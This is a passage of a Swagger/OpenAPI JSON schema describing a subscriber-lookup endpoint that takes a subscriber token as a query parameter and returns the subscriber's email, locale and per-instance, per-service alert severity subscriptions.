{ | |
"name": "token", | |
"in": "query", | |
"description": "Subscriber Token", | |
"required": true, | |
"type": "string" | |
} | |
], | |
"responses": { | |
"200": { | |
"description": "Subscriber", | |
"schema": { | |
"type": "object", | |
"properties": { | |
"emailAddress": { | |
"type": "string", | |
"description": "Email address of subscriber" | |
}, | |
"locale": { | |
"type": "string", | |
"description": "Locale for alerts" | |
}, | |
"subscription": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"properties": { | |
"all": { | |
"type": "boolean" | |
}, | |
"instances": { | |
"type": "object", | |
"additionalProperties": { | |
"type": "object", | |
"properties": { | |
"all": { | |
"type": "boolean" | |
}, | |
"services": { | |
"type": "object", | |
"additionalProperties": { | |
"type": "object", | |
"properties": { | |
"severities": { | |
"type": "object", | |
"properties": { | |
"major": { | |
"type": "boolean" | |
}, | |
"minor": { | |
"type": "boolean" | |
}, | |
"maintenances": { | |
"type": "boolean" | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |